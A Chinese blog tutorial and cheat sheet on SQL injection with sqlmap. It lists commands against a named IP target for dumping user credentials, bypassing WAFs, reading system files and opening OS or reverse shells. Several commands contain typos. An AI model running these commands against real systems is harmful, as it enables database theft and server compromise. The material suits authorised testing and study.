一、什么是SQL注入?

所谓SQL注入,就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有的应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行能力,它可以通过在web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者的意图去执行SQL语句。

Q:什么是sql注入?

A:攻击者通过构造不同的SQL语句来实现对数据库的操作。

这里有两个关键条件:

1、参数用户可控

2、参数带入数据库查询

二、SqlMap—简介

了解SqlMap - 开源渗透测试工具

1、开源的渗透测试工具、自动化检测和利用SQL注入漏洞

2、支持对多种数据库进行注入测试

3、支持多种注入技术,例如,盲注、时间拖延注入、报错注入

4、支持枚举用户数据库信息,例如,用户名、密码

5、自动识别哈希密码,并且使用密码字典进行破解

SqlMap是渗透测试人员对SQL注入漏洞进行检测是最佳工具

三、SqlMap—安装

1、SqlMap 工具地址

https://github.com/sqlmapproject/sqlmap

2、安装配置

Python Releases for Windows | Python.org

3、Python2 和 Python3 共存

https://www.zkaq.org/t/3572.html

SqlMap最新版本支持Python2.7和Python3,安装好Python就可以直接使用

四、注入基本流程

sqlmap注入的一般流程

1、判断SQL注入点

2、查询数据库信息

3、根据数据库查询数据表

4、根据数据表查询列信息

通过SQL注入点来让我们进一步进行信息收集

五、SQL 注入的方法

1、检测注入点(存在)

2、查询字段数

3、查看版本信息 数据库,用户

4、查询information_schema数据库里的所有表名

5、通过information_schema数据库查询cake表的字段名

6、查询数据库cake下的user表的字段id、username、password

7、查询user表的所有字段记录

利用SQL语句:’, and 1=1 方法来判断,#注释

利用SQL语句: order by 1,方法来判断,对方数据库字段

利用SQL语句,数据库版本来发现它存在information_schema

六、SqlMap—常规检测

SqlMap测试流程:

1、检测是否存在注入点

python sqlmap.py -u “http://117.41.229.122:8804/single.php?id=1”

2、查询数据库信息

python sqlmap.py -u “http://117.41.229.122:8804/single.php?id=1” --dbs

3、通过数据库查询数据表信息

python sqlmap.py -u “http://117.41.229.122:8804/single.php?id=1” -D cake --table

4、通过数据表查询字段信息

python sqlmap.py -u “http://117.41.229.122:8804/single.php?id=1” -D cake -T user --columns

5、通过字段枚举字段内容

python sqlmap.pu -u “http://117.43.229.122:8804/single.php?id=1” -D cake -T user -C “username,password” -dump

七、SqlMap—命令操作

1、查看数据库相关信息

--current-user 枚举当前用户

--current-db 枚举当前数据库

--dbs 枚举可用的数据库

--is-dba 枚举数据库权限

--password 枚举数据库用户名密码

2、指纹识别

-f 启用广泛的指纹识别

-b 检测数据库指纹

--hostname 枚举主机名称

3、Waf 识别

--identify-waf 检测waf信息

4、Cookie 注入

sqlmap.py -u 注入点 --cookie "参数" --tables --level 2

5、POST 登录框注入

sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables

sqlmap.py -u 登录的地址 --forms 自动判断注入

sqlmap.py -u 登录的地址 --data "指定参数"

6、绕过 waf 防火墙

sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py

SqlMap 常用命令: 

-u #注入点

-g 谷歌搜索

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

--sql -shell 写shell

--delay 延迟的时间

--safe-freq 次数

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数(获取系统权限)

–union-check #是否支持union 注入

–union-cols #union 查询表记录

–union-test #union 语句测试

–union-use #采用union 注入

–union-tech orderby #union配合order by

–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)

–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)

–user-agent “” #自定义user-agent

–proxy “http://127.0.0.1:8118″ #代理注入

–string “” #指定关键词

–threads    #采用多线程(–threads 3)

–sql-shell #执行指定sql命令

–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )

–file-read #读取指定文件

–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

–file-dest #要写入的文件绝对路径

–os-cmd=id #执行系统命令

–os-shell #系统交互shell

–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)

–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)

–os-smbrelay #

–os-bof #

–reg-read #读取win系统注册表

–priv-esc #

–time-sec= #延迟设置 默认–time-sec=5 为5秒

-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入

–eta #盲注

/pentest/database/sqlmap/txt/

common-columns.txt  字段字典

common-outputs.txt

common-tables.txt 表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

1. 判断当前用户是否是dba

python sqlmap.py -u "url" --is-dba -v 1

2. --users:列出数据库管理系统用户

python sqlmap.py -u "url" --users -v 0

3. --passwords:数据库用户密码(hash)

python sqlmap.py -u "url" --passwords -v 0

python sqlmap.py -u "url" --passwords -U sa -v 0

4. 查看用户权限

python sqlmap.py -u "url" --privileges -v 0

python sqlmap.py -u "url" --privileges -U postgres -v 0

5. --dbs可以利用的数据库

python sqlmap.py -u "url" --dbs -v 0

6. --tables列数据库表

python sqlmap.py -u "url" --tables -D "information_scheam"

-D:指定数据名称

7. --columns 列出表中的列名

python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

-T:指定表名,-D:指定库名

8. --dump列表中指定列的内容

python sqlmap.py -u "url" --dump -T "users" -D "testdb"

-C:可以指定字段

指定列的范围为2到4

python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

9. --dumap-all列出所有数据库,所有表内容

python sqlmap.py -u "url" --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

10. --file读取文件内容[load_file()函数]

python sqlmap.py -u "url" --file /etc/password

11. 执行SQL

python sqlmap.py -u "url" --sql-shell

12. -p 指定参数

python sqlmap.py -u "url" -v 1 -p "id"

-p可以指定多参数-p "cat,id"

13. POST提交

python sqlmap.py -u "url" --method POST --data "id=1"

14. COOKIE提交

python sqlmap.py -u "url" --cookie "id=1" -v 1

cookie值可以由TamperData抓取

15. refer欺骗

python sqlmap.py -u "url" --refer "url" -v 3

16. 使用自定义user-agent或者user-agents.txt

python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"

17. 使用多线程猜解

python sqlmap.py -u "url" -v 1 --current-user --threads 3

18. 指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"

19. 指定操作系统绕过SQLMAP自动检测

python sqlmap.py -u "url" -v 2 --os "Windows"

20. --prefix and --postfix自定义payload

python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"

21. union注入测试

python sqlmap.py -u "url" --union-test -v -1

22. 配合order by

python sqlmap.py -u "url" --union-test --union-tech orderby -v 1

23. python sqlmap.py -u "url" -v 1 --union-use --banner

24. python sqlmap.py -u "url" -v 5 --union-use --current-user

25. python sqlmap.py -u "url" -v 1 --union-use --dbs

sqlmap之sql注入原理利用相关推荐

  1. SQL注入——SQL注入漏洞利用(零)(值得收藏)

    一.什么是SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库 ...

  2. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  3. 报错型sql注入原理分析

    0x00:前言 关于sql注入,经久不衰,现在的网站一般对sql注入的防护也相对加强了,2016年的***测试报告中,出现最多的是xss(跨站脚本***)和明文传输等,但是对sql注入的利用方式,也相 ...

  4. sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

    第   21 课   SQL注入的利用与防御 课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. SQL ...

  5. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  6. mysql 绕过select报错_Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要 1 schemata:表里包含所有数据库的名字 2 tables:表里包含所有数据库的所有的表 ...

  7. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  8. SQL注入原理及联合查询

    1.SQL注入原理: 用户输入的数据被当做SQL语句进行执行 条件:①用户能控制输入的数据 ②原本程序要执行的代码,拼接了用户输入的数据然后执行 如何检测SQL注入: ①:and 1=1  页面正确 ...

  9. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

最新文章

  1. 通过gdb core dump方法查看程序异常时的堆栈信息
  2. Android Log 打印不出来
  3. 发那科pmc地址分配_一台全新的FANUC数控机床,请简述有挡块回参功能的实现步骤?包括PMC的I/O分配、具体参数设定、梯形图程序...
  4. 双11特刊 | 云数据库RDS如何顺滑应对流量洪峰
  5. CTP 客户端 技术相关 简介 一
  6. C++|Qt工作笔记-Windows平台下的句柄与Qt中QWindow::winId()以及 QPlatformWindow::handle的区别与联系
  7. 文本数据处理的终极指南-[NLP入门]
  8. (转)Managed DirectX +C# 开发(入门篇)(六)
  9. 怎么隐藏li标签_抖音账号如何打标签-7天让抖音账号打上标签
  10. Guava Cache本地缓存
  11. ESP32-CAM摸索经历1.0
  12. MSI Center局域网管理器开启导致电脑网络质量变差、网速低
  13. 实现简单的英文字母大小写转换
  14. 暮拾晨花,回望流年——我的2016
  15. CSDN日报20170224——《程序员该用哪种姿势来理财》
  16. 写给即将入行的程序员的一封信
  17. Unable to build Hibernate SessionFactory和Caused by: org.hibernate.tool.schema.spi.SchemaManagementEx
  18. 点击 进入 QQ临时会话 界面
  19. 晶体管分类、符号及作用
  20. java企业级快速开发平台jeeadminlte(jeesite大胖老师修改版)

热门文章

  1. DELL服务器R230旧磁盘换新磁盘,新磁盘复制旧磁盘所以数据
  2. 单文件程序制作一键通三合一 v5.10 杏雨梨云版
  3. 计算机数学课程标准,小学数学课程标准解读
  4. 功率半导体器件中的米勒效应(Miller Effect)
  5. 为地震中丧身的同胞哀悼
  6. 智能消费导购与商品管控背后的“商品大脑”
  7. HTML5《汉堡小店》游戏截图
  8. android sd 设备特征码,【转帖】OD常用特征码大全+汇编指令
  9. 人力成本是如何蚕食企业利润的?如何破解高成本和改善盈利能力?
  10. 二级计算机哪种最简单,计算机二级考什么好 哪个最实用